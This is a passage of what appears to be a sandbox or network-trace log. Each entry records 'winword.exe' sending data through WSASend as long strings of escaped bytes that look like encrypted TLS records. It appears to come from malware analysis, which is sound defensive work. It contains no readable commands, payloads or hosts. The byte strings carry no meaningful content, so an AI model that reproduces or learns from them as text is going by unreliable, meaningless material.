4\\x83\\x80\\xfd\\xef\\xb5\\xdeo\\xfd\\xf8d-\\x92\\x03\\xd7\\xa0h\\x90\\xa7\\x87\\xb7$\\xb1\\xfc_\\xf2\\xfc\\xfdl\\xc9\\xe1\\x00c\\xdd\\x9e\\xea\\xf8e\\x90a\\x90\\x1c7s:\\xbb\\xe6`\"_m\\xe3\\xb6rc)\\x1c\\xc8)\\x98e\r\\x8a\\x1d\\x17bg\\x94\\x90\\x82\\x1be\\x11\\xbbx\\xef\\xdbk`\\x13\\xea\\x08\\xb0\t\\xe9/\\xce\\xc0\\xff\\x8e\\x18\\x1b\\xd3\\xefj\\xe9\\x06e\\xbd"
  633.  
  634.  
  635. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1bo\\xf6(?\\x96%\\xfc\\xda6\\xb8.gw\\xc5b\\xf2\\x1f#\\x9f\\x96cos\\xf1en\\x15\\xea\\x84\\x8dh\\xc9*\\xf6\\xb1\\xbd\\xd5\\xfe\\xd3\\xe9g\\xfe\\x90g\\xc4bsrm\\xab\\xea2y\\xe9a\\xf9\\xfe\\xc2\\x8f\\xcc\\xe3\\xf8\\xfa\\xfa\\xdfg0\\x1c\\x90\\x86+m\\x17\\xf1\\x1c*\\xf9\\x02c\\x97\\x8f\\xf8i\\x8a%cen\\xec\\x99\\xa1:w\\xb1\\xbd\\xb8\\xe6\\xfc\\x9f/t\\x16\\xf0\\xa5wb\\x0b\\xf5 \\xde-\\xfc\\xe7;\\x070\\xdc\\xf2\\x18do\\x10\\x01\\x0c\\x8f\\xc6<\\xef\\x0bv\\xce\\xff\\xb3\\xe9\\xb1o\\xd9\\xf3-\\xa0\\x12\\xed\\x85\\xee=k\\x92\\x011\\x86\\xbd\\xb9\\x1e:\\xf9%\\xe9m-x\\xfe\\xec\\xa8 \\xf8\\x96\\xde\\x04q\\xc8\\xa6\\xd6\\xdfu\\x0b\\xc9d\\x1e\\xb7\\xf0\\x17\\xc7!\\xa2\\xf4\\xban\\xceo\\x91\\xb7j\\x84+h\\x84o>\\x1c\\xd5|ib\\xb7\\x0eh\\x05_\\x8b\\xf3\\x93\\xcd0\\x94\\x8e\\xa8\\x0e\\xa2<z\\xee\\x98:\\xa9s9\\xd94u\\xa8\\xe7\\x0f\\xe3\\xda,\\xb4\\xea\\xabu\\xcc\\x84\\xcd\\xbe\\x9b\\x8e\\xba#\\xa4"
  636.  
  637.  
  638. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xccx\\xfdl\\xack(z~\\xf5\\xcd\\x92*=\\xcb\\x98v\\x1b\\xa7\\xd2\\x00#z8\\x14\\xcetz\\x8b\\x7f\"\\x18v4t\\x1ali1\\x17i\\xd0\t\\x00\\x83k\\xa1\\xdccz_q\\xd2;\\xbe\\x103v\\x04\\xc6e\\xfb\\x9f\\xba\\x9a<\\xfc\\x87\\xcc\\xce\\xc2\\xd9g\\xb5g\\xbc\\xa2hl+\\x00\\xd6\\xb0d9n\\x1b\\xd0\\xed%\\xe6w\\xb13\\xcf\\xaf\\xca(\\x94m\\xb2\\x0b\\xda\\x80\\x93\\x954\\x8f/\\x836\\xd0k\\xb4\\xad/\\x1a\\x85xp\\xb4$\\x12\\x01\\xd2^\\xc0\\xf2c\\xa4\\x1a\\x8c\\xca\\xd0\\x91\\xf9\\xe0\\xe1\\xc5\\xd9\\xd5\\x877\\xf0\\xd3\\xc4\\x1f\\x04c\\x1e8<\\xc7\\x171w\\x13\\xd3\n\\xb3\\xa5\\x992\t\\xdad\\x96\\x88\\x9a\\x91\\xef\\xcalbj$\\xdd\\x84n\\x93\\xc9 m#\\xfe\\xa0\\xef\\xae\\xc4\\xe6y\\xf9oj\\x8f \\x87`\np\\xee\\xae\\x9c\\xc9\\x06\\xf1\\xfb\\x0e\\xcd\\x9fp\\x85\\xba$\\xfc7,\\xeezn\\xf9\\x92k\\xacfa+\\xe2\\x8f\\xfc\\xad\\xe1\\x96?gj\\xff\\x97z\\x19\\xd0\\xcd\\xcc\\xe9\\xfa\\xe5\\x91'\\xf1\\x01q"
  639.  
  640.  
  641. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9f\\xd3\\xe8s\\xee \\x93\\xfe<s\\x82\\x9eq\\xc4=\\xde\\xc3sk\\xf3r\\xe5\"\\x1az\\x016g.w\\xde\\x896+\\xeb9\\x15\\xbb\\xf0\\xb1\n\\xf0\\xa6%w\\x0e3\\x0b\\xf7\\xe4y-&bt\\xbd\\x0c\\xd9,h\\x01\\xc0kp\\xc7\\xdc\\xbc\\xd6\\x15g\\x0e\\x85\\xea\\x1e\\x01\\xba\\xd3\\xa95\\xb3gx\\x0blf#dq\\xf7\\xacw\\xa0\\x1a\\x9d\\xf9|\\x95o\\xed\\x07\\x19\\xea\\xf6\\xe1\\x8ew~a\\x1c\\xab~\\x80\\x91\\xe1\\xa5\\xbc\\x90\\x15w\\xde\\x11\\xd5;l\\x1d|w\\xd6\\xc5\\xf5^\\x015\\xe4\"\\xfc\\x8bs5!$5\\x1b\\xf9\\xf0`\\xed\\x8c\\xa1&\\x91h\\x84k\"\\xacs\\xb8\\xf5n\\x19s\\xbe\\x80\\xf2\\xab\\xb2\\xdf\\x05\\xd8\\xdbu\\xab\\xa2\\x879ij.\\xa4e\\xec\\xde\\xa2\\xday.\\xca\\x92\\x92uqhf/\\xf6\\x16e\\xa8\\xe2zg\\xe4\\xe3\\xbd\\x9c\\x0eo\\xf7pr\\x81\\xa1\\xcd\\xbdo\\xbe\\xe4\\x9f\\x87\\xb5\\x1dr\\xee\\x1d\\x80\n\\xc0\\xe0\\x1cb\\x8a\\xb4\\xe24n\\xa8\\x08d\\xb9\\x7f\\xa3\\x03\\xfb\\xb3\\x7flt"
  642.  
  643.  
  644. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xce\\x84b*#\\x0f\\xeb\\xe0\\xb5\\xb8\\xcc\\xd5\\x8e\\xb1-\\x97b\\xab\\xea\\xdd3ce\\xdd\\x90d\\xf2@\\x0fa\\x97\\xb2`8\\x1c\\x12n\\xd9\\xcd\\x02:\\x894\\x8f\\xd3\\x8a`\\x8c\\xa0\\xe4zt\\x96nk\\xd7\\x1fb\\x05\\xbe\\x83f\\xc1\\xca\\x0f>\\x126\\xfe\r\\xd2\\xaf!;\\x17\\xe2\\xc6\\x07\\x87k4\\xaa\\x8b\\xe6\\x8c(\\x8a\\x9bm\\xab\\xaa\"\\x93\\x93\\x00\\x95\\x8e\\xef\\xf5\\xab'\\xd4\\x8a\\xfd\\x0bn\\xf3x\\xf2\\xb5^.\\xd8\\xc0\\x9ev\\xefz\\x15g\\xab\\xa2cgz\\xce\\x8c\\x8a\\xd3\\x9f\\x90\\xe08?!\\x80\\x07g\\xff^\\xb4\\x9f\\xc6o\\x93\\x9ci\\x12\\xfdn\\x8b\\x9fm\\\\xcfi~\\x8a\\x1d\\xd4\\x18\\xfc(\\xf8/ow\\xe4@90rc\\xd5\\x00r\\xb1*m\\x8b\\xa1g\\xe3\\x8a#i\\xb7\\xfa\\xe6\\xe4\\xda\\xaeb\\x98\\xf6j\\x8d\\xd2\"\\xf4\\xcb\\xfa\\xe4\\x1e\\xb9t\\x00\\xbeh.\\x06%\\xa4\"f\\x9duv\\xa2\\xc9%z\\xe5\\x97\\xef\\xe2\\xa3j\\x9c!x\\x8b\\x8b\\xca\\xf1n\\x12y@\\xff\\xd0\\x9c\\xc7bc"
  645.  
  646.  
  647. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xbc'\\x14\\xc2\\xd7\\x93\\xe9\\xc4b\\x0fu\\x84\\xc2\\xd9(\\xe1\\xf7hv@t\\x10\\xe4\\xb6\\x85\\xe4\\x10>\\x8d\\x192\\xb1\\xb5(o\\x94\\x94a\t\\x9ei\\x8cl\\x19\\x04\\x00\\xaex\r\\x15\\x17\\xa7\\xe1\\x90$g\\x152\\x01\\x14\\xa1=\\x15\\xc1\\x02\\xf8\\x10zg\\x88\\x07\\xe2n\\x8b\\xcb\\xd2j'g)\\xe4\\xea\\xb4\\xf8k\\xbf>y\\x1d^y\\x87\\xf6\\xec\\xb3\\xba*\\x01f\\xde\\xd2\\x86\\x90\\x0b\r<\\xf2\\xe8\\xde\\xc9@\\xed\\xb3\\xd8?\\x11%ra\\xc9z\\xd2\\xb3w\\xe0\\x04\\x9f\\xa2\n yu\\x9b\\x97\\xde\\xbc\\x80\\xbe\\xcb\\xf3\\xc7,\\xbc\\x93\\x8e\\xf3\\xffi\\x9f\\xdbk/\\xff\\xba\\xc2\\xe1l&\\xcf\\\\x84\\x7f\\xf6\\\\xd0\\xea\\x0b\\xc6\\x8b\\x89\\x92\\x89a\\xebg\\xee+ur\\xc1*\\x88ik\\xfd\\x9b\\xdd\\x95\\xf8\\xa1\\xa9\\xfc\\xda\\xab\\xb1\\xf1\\xad5;\\xe8\r\\x87\\xb72*oi\\xc6(nmud&\\x99\\xf7\\xcch\\xc8\\xde7\\xa8\\x85\\x93h\\xce\\xf5\\xb8\\x91\\x93\\xf3 \\x03\\xfd\\xb8\\xd4\\xb6\\x1d\\xac\\x08\\xc6\\xb2yt\\x14\\x02\\x0cc\\xf5\\xef"
  648.  
  649.  
  650. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xbba\\xf7\\xc2\\x9b \\x93f\\x80\\xb6\\xe7\\xfa\\x9ac>\"#\\x0b\\x1c0\\xb9\\x81i\\x1b@\\xfe\\xb8\r\\x97\\xe7\\x7fg\\xf0\\x0c\\x91\\xe3\\x14x\\xb2\\xe7\\xd5\\xc2 (>\\x1f\\xf4h\\xfd\\xf9\\x88\\x19,\\xabg\\xcbsvv.\\xbc\\x93\\x93\\x030\\x0c\\x1evu.:w\\xb4\\xb1\\x1ae\\x8e\\xb3\\xb2\\x10\\xb0x\\xa9\"\\xf7\\xe1\\x16\\xa9\\x0c\\xb4\\xdc\\xc9grg\\xea_\\x8d\\x8e-q+\\xe3\\x9eh\\x9c\\x18\\xcd\\x99\\xd9\\xf9\\x983e\\x11\\x8c*\\xa0\\xf7\\x1ax;\\xd6f\"p\\xff\\xcb\\x8a\\xb3b\\xfe\\x97\\xc9\\xf3\\x8f<\\x82\\x8d\\x8ag\\xdb\\xf5\\xdd\\xd4\\xaf\\xa3\\x95\\xb1a\\xb4\\x16-n\\xe9:q\\xf0@>:\\xe6-\\x17c\\x9d's%q\n\\xe6t\\xcd\\x10\\xf8\\xb6d2\\xb8\\xfb\\xe9\\x85\\xa4\\x84\\xf3\\x18\\xf7\\xff\\x92\\xe2\\x83j\\x83\\xe6\\x00\\xc4`\\xf8\\x1d\\x00\\x80\"\\xb0\\x9f\\xc1?\\xc8\\x0b~\\x1f\\xf2\\xc1\\xd0\\xa5\\x7f\\n#+\\xc4\tc\\xf7+6\\x80\\xf4p\\xc0\\xdf\\x9f.7\\xc3\\xfa\\xf94e\\x04yi\rm\\xd4"
  651.  
  652.  
  653. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xdb\\xa7z\\xe2\r\\xe1\\x94\\xb0\\x11\\x8c\\x1cu\\xac\\xfe\\xa8\\x85\\xcf\\x81\\x14\\xdb\\xd3\\xf3e\\x01\t\\xf0\\xdc\\x1a3k\\x94\\x05v\\xbc\\x01k\\xfbl\\xc7\\xaf\\xb5\\xac\\x90\\xc6e\\x9d\\xeaoo\\x14\\xad\\xe2j\\\\x84\\xee\\x12:\\xd3\\x1a\\xcf\\xd4\\x1c\\xc3k\\xf8\\xf9b.<t\\x9e\\x1e\\xfe\\xce\\xdf\\xd4\\x99\\xb2\\x1d\\xf7>\\x1d\no\\xa9\\xe0o\"\\x00*\\xe6\\xab\\x96\\xe4\\x92\\xaf\\x7f+\\xe9%\\x85x\\x0b<i\\xcd\\xb2\\xc6\\x03uv?6\\x12\\x89\\xfe\\x07\\xdb\\xb9\\xe9\\x9c\\xb9\\xe1e\\xaa\\xa5\\x96\\xc7\\x0c\tz\\xb2,\\x84\\xe3\\\\xcf\\xbe\\xb2\\xac\\xdb\\xf2\\x16\\x8c\\x11\\xc1xd\\xb1\\x80\\xb5\\xc4\\xf7n\\xcc\\xe6\\x9d\\x98%\\xe4i\\xe2\\xc7\\x15^\\x10d\\x02(8\\xd6\\xa6\\xe8.i\\x9ck\\xe8b\\x84\\xaa\\x98g3\\x80\\xab\\xd9/t>\\xf7\\x80i\\xf7\\xb5\\x96\\xdf#\\xd6\\xd1!z\\xe4\\x8b\\xb0\\x02\\xaf\r\\xee\\x94\\xc7\\xb4%\\xd6om\\xc4%)x\\xf6i\\xcb\\x18c\\xe9z(\\xd4\\xb6`&uh)s\\x17\\xce\\xaa\\x80\\xec\\xe0\\xc01\\x1eb\\xc1\\xdcb\\xc4"
  654.  
  655.  
  656. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa0\\x1b\\xc9\\xfb'\\x02\\xb0\\xe0\\x1b\\xfe\\xc4\\xd2.\\x81k\\xcdtjbf\\xaf\\x9a\\x90_\\x15\\xb5p\" \\xcf@\\xa3\\xf16\\xc3*\\x90\\xa3\\x97\\xaa\\xcd\\x16\\xba\\xae?\\xfd\\xd7\\xb46\\x84\\x10\\xde\\xcd\\xd2\\xc4\\x8c\\x19`\\xe97\\xb2q<v6\\xd49\\x8a\\xecq_b\\x13\\xa2y\\xc0h*\\xcf\\xeaji\\xe8\\x8b\r\\x9bz\\xc7\re\\x9ae\\\\\\xcd!c\\xed\\x89:\\x86\\x83\\x8f\\xee^\\x1bx\\xeb\\xeas\\xe7x.\\xabd\\xcd\\x1b5\\xa0it\\x17>\\x876\\xc1.j\\x8c\\xd6\\xb7-\\x9f\\xad\\xb7.\\x07q\\x8b\\xb8\\xe0d\\xed\\x11u<\\xffb\\x1a\\xde\\x05\\x83\\xd2\\xd3\\xd7\\x985\\xbb\\x90\\xbd\\x95\\x98\r\\xfb.\\xb1a\\xa5\\x0e\\xbd\\xf0\\x12\\x82c\\x11\\xfc\\xe7\\x10tv\\xc5z\\xbb\\xe4r@\\xb7?\\x9f\\xa7\\xa4~\\xd3|\\x05\\x92\\x90\\xdc\\x02\\xfb\\x94\\xaf\\xb6\\x15\\x01\\xa0\\xa4\\xaf\\xb12\\x0c\\x15\\x16\\xc87\\xe0\\xb8\\xcd\\xbf\\x8dbo\\xe9o\\xe6p\\x92\\x94\\xcd\\x15rel\\xfa\\xfa\\xeb\\x8b\\x93\\xefy$\\x1ay\\x15ko\\xec\\xb0"
  657.  
  658.  
  659. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010g\\xce\\x8b\\xab\\xeb\\xd4\\xd4\\xaa\\xd1+\\xb1\\x06\\xce\\xc4\\xda\\x9cka\\x12\\xca\\x85b9\\\\xa3xa\\x9a\\x9a\\x83\\x07\\x9c\\xb8\\xab\\xb6\\x00'\\xc4l\\xfd\\x11\\xf8\\xda\\xd1\\x7f\\x99e\\x96\\xb3$8-a\\xb5zq\\xc3\\xcf\\x0b\\x01.\\x19\\xbf\\xea\\xe8\\x17\\xcc\\x87\\xcd\\xd8\\x98\\xb4\\x15\\xf0qf\\x1d\\x13\\x82<9\\x83\\x10\\x03n\\x19\\x96\\xab\\xf4\\xc3g\\x07\\xc7\\xbe~\\xde\\x19\\xe4d=.\\x16\\xf1q\\xcdvuxyw\\xff\\xa2z\rt\\x86\\xd9k4\\xc7\\x92\\x99\\x10n7\\x89*\\xf5\\x91qc|\\xe5\\xde\\x00a\\xf2\\xd6\\x13\\xbd\\xf6b@\\xb6b\\xf9\\xe7h\"\\x90\\xff\\x19g$\\xc5<|\\x8f3i\\x94\\xac\\x02vf\\x7f\\x1c\\x1a\nih\\xaf\\xe9\\xe4\\xab\\x8a\\xaa\\x12\\xa6\\x80#\\x88\\xf8\\xf5\\xfb\\xee\\x92\\x079\\xb0\\xffe\\xb5\\x8d\\xdc\\xfcl\\xdd\\x96\\x9cf;\\xc0hb\\xdb\\x03\\xbd\\xc2\\xc8n<-\\x80\\xe78\\xd5@ii\\xf7\\xa0\\x16\\xa9\\xaf\\x1c\\x94\\x91\\xb0u\\xc9\\xfb\\x12\\xeay\\x07\\xd2\\xd9\\xadh\\xcf\\x9f\\xd4~l\\xaf\\x14"
  660.  
  661.  
  662. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xaf\\xbc\\xf5\\xaf\\xa2\\xa8\\x06s\\x0f\\x0f\\xc1\\x90\\xca\\x1d0\\xef\\x81\\x9ar\\x0b\\x1b&\\x01&xez\\xf3\\x97\\x0e\\xc7b\\xcd\\xe1\\x01q\\x1ct\\xc8,+\\x17\\x8a>i\\xfez\\xb4y\\x9a\\xa6!3\\x97 \\xfd\\x020b\\xe8\\xf7b\\xaf\\x12iv~\\x1c\t\\xcc\\x0e\\xca\\xee\\x0c\\x10s\\xa6\\xd0\\x18\tm\\x8f\\x80hz\\xf2\\xd3p\\x80\\xfa\\x9b\\xc6~\\x7f\\x12\\xc3\\x94\\xb8\\xfd\\x8ez\\x8bew\\xfd\\xd6\\x04\\xc4\\xd8xo\\x03c\\x8b'\\x81%\\xe7\\x8f\\xe7\\xb5\n\\x15y\\xf8s\\xe9\\x96\\xcf\\x88\\xbf\\xb5#\\xcc?\\xa5\\x15k\\xe2m\\x0f\\xa0s:\\x8f\tl\\xfe\\xa6\\xe8\\x10\\xd6qc\\xcc\\xf4\\x9e*cf\\xed\\x16\\xfbp\\x98g\\x9d\\xd6c\\xff\\xb3\\x13\\x113\\x19\n0\\xa09_\\xe2k,s4e|\\x03\\x81\\xa7\\xfa\\xf0\\xa1\\x93\\xca16\\x8a&ah\\xb2r\\x9c2\\xb7\\xcd\\xe1n\\xb7\\x9d\\xc2\\xf8\\xbahb\\x7f\\xa7\\xfc\\xf0\\xd6al \\xc2lxj\\xfc\\x17\\xdf\\xe9\\x96\\xeb\\x05\\x01\\xa6\\xaeel\\xb2\\xe9r\\xbc\\x012t\\xd3."
  663.  
  664.  
  665. "http_request": "winword.exe_WSASend_2\\x02\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb5\\xcf\\x13m\\x0c\\xcff5\\xaf\\xa7#\\xa4<6\\x91\\x8b\\x84\\xee\\xc4\\xd2\\xa0\\x16\\xb2\\xc2c\\xf9,rwg(\\xcaf\\x95\\xfdh\\x89$\\x0cd\\xd4\\x80\\xac\\x9c\\x90z?y\\xfd\\xc7\\x05\\xc4|\\xe0\\xee@ \\x12\\xc5\\xf1\\xa8<\\xb5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000cv^\\xe1\\xda\\x00\\xed\\xb1k~b\\x16\n|z\\xe5\\xda\\x8f\\xfft\\x82\\xc1\\x1a\\xbd\\x14<;\\x1c\\xdbt\\xc6e2\\xc2\\xb1\\xa6r\\x99\\x8bk\\xb3\\xff\\x02\\xe1\\xb9\\x97m\\xf7"
  666.  
  667.  
  668. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04.f\\xcb\\xab\\xbb_\\xe4\\x8e\\xa3\\xb0\\x85\\xb3\\x12\\x06\\xcb\\x03\\xe9\\xf1\\x91\\xe9\\xe3\\xb9t\\x9b\\x9f\r\\x89\\x8e6pw\\xda\\x98/\\xd3\\xcac$\\x94\\xbb\\xb5\\x03w~t0\\x16\\xcd\\xf2\\x98\\\\xef\\x8e\\x1117\\xd5\\x89\\xd0\\xaf0\\xfe\\x89\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000s\\x8d8\\xcf$\\x80\\xfd\\xe2\\x0e\\x8e\\x8c\\x1c\\xd0\\x96;\\xc9i\\xc1>i\\xe2;\\xec\\x9c&\\x13\\xa6\\xf9b\\x95\\x13\\xc4\\x00\\xb7\\xcbx|xpwy\\xcb\\x8b\\xdd1!\\x0cr"
  669.  
  670.  
  671. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x08*\\x95\\x1b\\x1c\\xe0'\\x95\\xcb2\\x17\\xa6/\\xe9\\xcb\\xb5y9>\\xbf\\xcc\\x8c\\x01h\\x12\\x07csc\\xd3\\xf1\\xf7\r\\xe8`\\x93t\\xb8\\xfa\\x81x\\xe6\\xb2\\x9c#\\xd0o\\x82\\x87\\xcc5\\xbfh_\\xf78\\xfb\\xc3\\xcfu\\x1e\\xe0\\xf3o+\\xe0\\xa89\\x99\\xb7e\\x9e\"\\x9a70u\\x82kig+\\xdcs\\xdb<\\xeb\\xba\\x06\\xf9\r\\xf9\\xf6r\\xce\\x87\\x88\\x1c\\x11\\xb9>nto\\x0c\\xff\\\\xd7\\xe7_\\x0f\\xf9\\x13\\x0f?z\\xdf(`\\xa5\\xae\\xf3\\x9cs\\xef\\xf0,\\xcd\\xd3\\x8a\\xddz\\xf5/\\xff\\xf8\\x9a+(!\\x8e\\xb2\\xa0i\\x17,\\xa4\\x06\\xa7~\\x84\\x08a\\x0e;*\\x9fkg\\x95:$x\\xea\\xff\\x8f\\x9c\\xdd\\xb7\\x7f*\\xc6\\xca-g`\\xbe\\x16\\x7f\\x9c.\\x13\\x9a\\xcf\\xbaza\\xf2\\x8di\\xff\\xbe\\xd3\\xa9\\xbb$\\xd0u\\xc6q\\xd3\\xf7\\x08\\xa6\\x9f\\x95\\xaau727+\\x8a<\\xb4\\x1a+#$\\x10\\xda\\x19\\xdc\\xa0u\\xdb\\xc1fsn\\xf8$\\x9e\\xbal8?\\x87^\\xdd\\x8e\\x05z\\xcf\\x1b\\x825\\xf6"
  672.  
  673.  
  674. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdb\\xe2\\x8c\\xa5x6d\\xf1\\xe8\\xa1:\\xbe\\xec\\xaa\\x91\\x94`e\\xa3\\\\xd0\\xc81\\x1e\\xcbm\\xe8\r\\xd5\\xe2\\xe9d\\xa7\\xe3\\x1fw\\xe7,\\xe0n\\xfe\\x1f\\x9e\\xba\\x92\\xd5\\xdd%@\\xbd\\xa5\\x18\\xc2\\x99\\x1e\\x8b\\x02v\\xf51\\x08\\xa8\\x8d\\xcf\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000w\\xdbl\\x82\\xf6u\\xce\\x98\\x8c\\x8e\\xc6\\x81\\x86\\xc2\\xbf\\xa28\\xbff\\x17\\x10i\\xa1\\x02\\x11\\x01\\xc1\\x04\\x16\\xb63f\\x9e\\x18@\\xd8\rb\\x0f`\\x14ba\\xe7\\x08\t\\x13\\xba"
  675.  
  676.  
  677. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb1\\xeb\\xed@\\x06i\\x11\\x9a@ _\\xf4\\x1f:\\xe7\\x08\\x15\\x9c\\xaf8\\xdb\\xf3\\xed\\x04\\x89+\\x05\\xcb\\xb3\\x8c\\xf25%z\\xd9\\xff\\x8b\\xa2\\x90r\\x89w\\xa3g\\x7fq\\xa2\\xf2\\xf9\\xfb\\xcfr\\xe7\\xc0\\x1c\\xe4\\xd2\\xa7\\xefej\\xec\\x8e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x11\\x1f\\xb8'\\xe9f\\x8b\\xb3qq\\xa5\\xf0\\xb7\\x87\\xb5`5\\xbe\\x81\\xd7\\xe2\\xa2\\x0e\\xab8\\x9df=\\x96\\xc0m\\x0c\\xfb\\xc6\\xd2\\xe2\\xcbadty\\xdc\\x1ajc_\\x8f"
  678.  
  679.  
  680. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x97m\\x84b\\x0e\\xd2i\\xaa\"s\\x8d\\xa6\\xbd\ts\\x9c::\\x94\\x01q\\x04ldc=vo\\xa0r\\x9a\\xac\\x9c\\x1b\\xe9\\xb7\\xfba\\x98\\xf7\\xac\\xf8\\x9ey\\xe4\\x9d6\\xf9l\\x1b\\xa6\\xd5\\xbf\\xf8\\xdb\\x80\\xfb\\x01r+t\\x92\\x00\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd0\\xdem\\x93\\xca|\\x95\\xbb\\xda\\xc9\\x19y\\x8e\\xe3y\\xde\\x19\\xcc/i\\xf8\\xd2\\xeb\\xcde\\x9d\\xfa\\xc7\\xdfk\\xcb\\xb4c\\xb1\\xdbw\\xc7\\x83\\xdd\\xa6\\xec\\x8f\\xe2\\xa0\\x0bb\\xe8v"
  681.  
  682.  
  683. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8a\\xf51\\xcd\\xf5\\x13\\xa3\\xda\\x18\\xa9\\xe1\\x170\\xf2t+\\xca\\xb05nx.\\xfb\\x94\\xa3\\xc9\\x87,a+\\x8e<\\x1f\\x98\\x1e~\\xae\\xd1z\\xce3\\x96\\x9f(\\xdb\\xf1\\xdb\\xdb$\\xbf\\xb5l8\\xa0%\\xcb\\x0fc\\xd52\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb0\\xc6b\\xd9\\x16n\\xb8\\xfa0\\xaf\\x17\\xaa*1\\xa2bkxqq\\xf7\\xfdq(\\x04\\xd5f\\xab\\x05\\x84q\\x06\\xbe\\x8a\\xa1\\xd8\\x0c\\xf3\\x83\\x90\\xf3o\\xd6\\xc9\\xfbl\\x13"
  684.  
  685.  
  686. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04*\\xba_f\\+\\xf7l\\xc1lq\\xd0ox\\xdd\\xad\\x1e\\x92\\x10\\x91<\\x98|q\\xe7\\x13\\x04\\x94 \\xde\\xa2\\x99\\xae\\x05e\\xe9\\xfa\\xee\\xc7\\xbd\\xa2\\xc9#\\xc1\\x94.\\xf4|\\x14\\xcf\\x92\\x99\\x10?q\\xce9\\xab\\xf0\\xd276z\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb2\\xd7j\\x10h\\x1d\\x06r\\x80v*\\xf6h\\xb5\\xdd\\xc6*\\xcc\\xde\\x07\\xf9;m\\x85\\xd5\\x95w\\xe2\\xd5\\xe1\\xca \\x82\\xd1:t\\xd8:(\\xc0\\x156\\xe5\\x08q"
  687.  
  688.  
  689. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x044^\\x86\\x17\\xc9<\\x86q\\xe8\\xe9\\x97\\x9f\\x95\\xb5\\x0b\\xc3\\xf9\\xaav\\xbbg\n\\xd9\\x91z\\xb2\\xfa\\xd2\\xa1\\xe0s\\xc8l\\xc5\\x1d\\x18v|\\k\\x8cx\\xd5\\xbc\\xe9\\xd0\\xe6\\x01\\xcb.\\xa4\\xbfr\\x96\\x96\\x89 j\\x9ca\\x88\\xcan\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9e\tz(e\\x8b\\xf8\\xb2\\xb2\\xb0\\xd3\\xf6\\x0el\\x97\\xa3\\x1d\\x18\\xdb&\\x0e\\x8d\\\\xeam\\xbe\\x8f\\xfd\\x80\\x97\\xd5\\xfc\\xf9l`u\\xc1\\xc3\\xf5\\xfc\\x98th\\xdai\\xcb\\x05"
  690.  
  691.  
  692. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04@p\\xcf\\xaadx\\x80(>\\xb7p\\x0f\\xb8s\\x15\\x0b\\xecc\\xd3\n;\\xf2j\\x8c\\xc9\\xd9i\\x19\\x97dd\\xe3\\xc0\\xb1\\xe4\\xadcg\\xd2\\xbc\\xc6\\xb8o\\xcd\\xb5\\xa2h\\xe1&\\xfew\\xd6*\\xace\\xe7\\xd9\\xca1z v\\x8c\\x80\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb1t\\xb4\\xa8\\x16\\x01b%\\xe7!/ \\x10\\xdf`kq(\\xb6\\x9d\\xe2\\xe7\\xcf\\xdba\\xc8\\\\xb5\\xf0uk\\xb7dp\\x9f\\xff\\xac\\xfb\\x86\\xb6\\xce)w\\x1fl\"\\x85e"
  693.  
  694.  
  695. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x99f\\xbfk\\x1d/\\xe8\\xe5\\xa2\\\\x19\\xa8\\x01\\xd1c\\x8a\\xa0uyd,f\\x813\\x9c\\x8ep\\x02x\\x0f\\x0b\\xa0\\xf7e\\xcb\\xe8\\xca0d\\x0ee\\x0e\\x1d\\xb3j;55\\x99\\x85\\xb0\\x0e\\xd7>\\xbf\\xda\\x8c\\x95ekh%\\x19\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcc\\xbe\\xcf$\\xdc|t5\\xc2\\xe0\\xa3c\\xcbg\\x88<\\x97\\xca\t\\x0ff\\xb79\\xc2\\xbf3\\x12\\xd4x\\xb2\\xf8\\x17\\xfdi\\xd7\\xba\\x85!\\xe1-\\xb6\\x05sb8\\xcd\\xaa<"
  696.  
  697.  
